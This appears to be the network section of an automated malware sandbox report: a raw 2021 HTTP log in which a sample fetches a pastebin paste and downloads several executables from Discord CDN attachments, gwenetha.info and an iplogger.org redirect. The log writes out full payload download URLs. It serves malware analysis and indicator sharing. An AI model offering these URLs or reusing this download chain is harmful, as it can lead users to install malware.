Network Analysis

GET /raw/gCyjHCCH HTTP/1.1 Host: pastebin.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 01:59:07 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d9d4c2139de4a02c0a9f12f3880e998681617760746; expires=Fri, 07-May-21 01:59:06 GMT; path=/; domain=.pastebin.com; HttpOnly; SameSite=Lax; Secure x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED cf-request-id: 094ba714ec0000a225af89a000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 63bfa79b1cd2a225-ICN

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 01:59:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d329e68320b45975335df8711d3b4af381617760764; expires=Fri, 07-May-21 01:59:24 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094ba759c70000015cf41ea000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=qiKBKeszJCFPGSgjE3VCeYZTVmN%2FyEUO2boY9oHT%2FXJTpPPF0C5pYzh%2FTZ19faTUwevFHffqr9hhz5s%2Bw2pmeMxyd5xmeqUdE60%2FnNu1b8Os4FA%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63bfa8093cab015c-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /setup-KGQJ-1.exe HTTP/1.1 Host: gwenetha.info Connection: Keep-Alive

HTTP/1.1 404 Not Found Date: Wed, 07 Apr 2021 01:59:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 19 Connection: keep-alive Set-Cookie: __cfduid=d637e0953c5fbc50bacbf03e81a54bf291617760764; expires=Fri, 07-May-21 01:59:24 GMT; path=/; domain=.gwenetha.info; HttpOnly; SameSite=Lax X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC cf-request-id: 094ba75a8a0000429e0687d000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=UwcII6sSe1alcQ29wNKtnTSZDV8uwk23FWOc18GzzRDTcVyWewDRsZER6cYKwa4S3xasAPk%2FSadXXcsoKtPIcKTyWAM6sfbWzFLwx%2FAR"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63bfa80a7d91429e-LAX alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826198252025675816/826538114838298715/install_setupVPSfree.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 01:59:25 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d762c1ac5ae826a064927336c0ed058571617760764; expires=Fri, 07-May-21 01:59:24 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfa80b280612d2-ICN Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 01:59:25 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094ba75afc000012d23f0c5000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UxtmLtjUkLdatSMq_-q787X_mRjybOdlnGbjqcCB447SHrHEjfGB9GTD3WWCHv44h22ze29xkUSI90JspJaccA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=331tUNDURY%2BjQg7X65c9ehXG1IldTzGTfJnQn7R5cwBumpRjcbvvvzlqE3zkAX5Jn%2Bq0IMFU%2Bas91f3%2FgzqI665yY4V3vLnI9t%2FRMeKcSAamnic%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /attachments/826416818390040589/826469949593485312/file.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 01:59:29 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d501623a8ae6bbf2d5821ac1eb68ca7fd1617760768; expires=Fri, 07-May-21 01:59:28 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfa824b926015c-ICN Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 01:59:29 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094ba76af40000015cf186b000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UzWREtInWrg8MtDHCVMxL0qErdNhA5PqZkg0q_zjbp1b9E6zEaB6BSNjSiITOaKy97_oTQONMqq2PGtIPvOL-0 X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=DAjRorF8JYNWoU66ihUmIPZsG8whY8RbAlR3NSvI3d3QhhFguNjmm55vGCLhsw6UX39bLzoEZlpKaGcZ88PebQghE5VM1Am8Lrv%2Fcu6FwcphqR0%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 01:59:29 GMT Content-Type: application/x-msdos-program Content-Length: 505856 Connection: keep-alive Set-Cookie: __cfduid=dca39af9d0e565d6182286197a4cad15b1617760769; expires=Fri, 07-May-21 01:59:29 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfa8282f57015c-ICN Accept-Ranges: bytes Age: 615778 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe ETag: "28345a7bb63babaf99e760965ce493b7" Expires: Thu, 07 Apr 2022 01:59:29 GMT Last-Modified: Tue, 30 Mar 2021 19:35:01 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094ba76d190000015cb90ab000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1617132901889175 x-goog-hash: crc32c=Ws/4nQ== x-goog-hash: md5=KDRae7Y7q6+Z52CWXOSTtw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 505856 X-GUploader-UploadID: ABg5-UznZNO55X93AubXlWYP0c5SyYOTRHkzDJhcIzrcH58RoyWaPDs0j0jqBmhsS-QvB5VHDoqPplp1xtV5hwkr0kW8h3tVvw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=RMdmT519%2BdqqoAsi1iO6gwxruSamRGPy9MDBMQu8Y%2B4BNbKkqW0O13n9xZ%2BHrfA1KEuDgr1h4SdYw5lGRfvIErDPbDZ0nXdxYr8LN8tmHM9OqF8%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /2LehR6.exe HTTP/1.1 Host: iplogger.org Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 07 Apr 2021 01:59:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=piapr55jg0eq6eqokts7cnn931; path=/; HttpOnly Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=261287416; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://cdn.discordapp.com/attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

GET /attachments/826416818390040589/826855866228670474/7525b875715555.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 01:59:45 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d9e7d56423766ad84a9c7646524338e7e1617760785; expires=Fri, 07-May-21 01:59:45 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfa88c1ea9352c-ICN Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 01:59:45 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094ba7ab900000352ce5111000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UzkYVqVCw6WFLnBuOPrgUlDmYK5TT3fbxUTDShqUp9LVYcI0ObbCgVOI9pznEKUcrVLBK5LAEvNTPXbgrQMv4769uVc8w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=gpVSayjBU1f1gNPer7a0fR3To20WVean9xL23mqm1K3KY6npCWhifsbTdX6xxsfZxQEmUmEGxrTPb5ligG%2BQC9G%2BDJUEFO90YgzOglWncw6hQSU%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 01:59:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=dcfc5f2961fcabdf6be5db3af1050ff361617760789; expires=Fri, 07-May-21 01:59:49 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094ba7ba55000000cfea9b6000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=DjP0dG5BD5gAGtqtdIWpdY0PUtU1u6LiB9NIWrL4hEIFHDlYLP2RWwOZO%2BHzUtcK0F7G06VWa1WVRiD0F1OIjLZW9fYNhY7aYlgE025bWuFoVUo%3D"}],"max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63bfa8a3b9eb00cf-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 01:59:49 GMT Content-Type: application/x-msdos-program Content-Length: 505856 Connection: keep-alive Set-Cookie: __cfduid=dcfc5f2961fcabdf6be5db3af1050ff361617760789; expires=Fri, 07-May-21 01:59:49 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfa8a44b0400cf-ICN Accept-Ranges: bytes Age: 615798 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe ETag: "28345a7bb63babaf99e760965ce493b7" Expires: Thu, 07 Apr 2022 01:59:49 GMT Last-Modified: Tue, 30 Mar 2021 19:35:01 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094ba7baac000000cf18016000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1617132901889175 x-goog-hash: crc32c=Ws/4nQ== x-goog-hash: md5=KDRae7Y7q6+Z52CWXOSTtw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 505856 X-GUploader-UploadID: ABg5-UznZNO55X93AubXlWYP0c5SyYOTRHkzDJhcIzrcH58RoyWaPDs0j0jqBmhsS-QvB5VHDoqPplp1xtV5hwkr0kW8h3tVvw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=FhT9c6odcKgAeSQ9UjN%2FoHV1SHxO2n6h2Nvxm2XF57qB5uhFxhjEyNUZDaqqctEu9V9HwX9oAGHXC4jP9yRYN8Vahu2rcEfkhCcWozFJ2dpECaI%3D"}],"max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare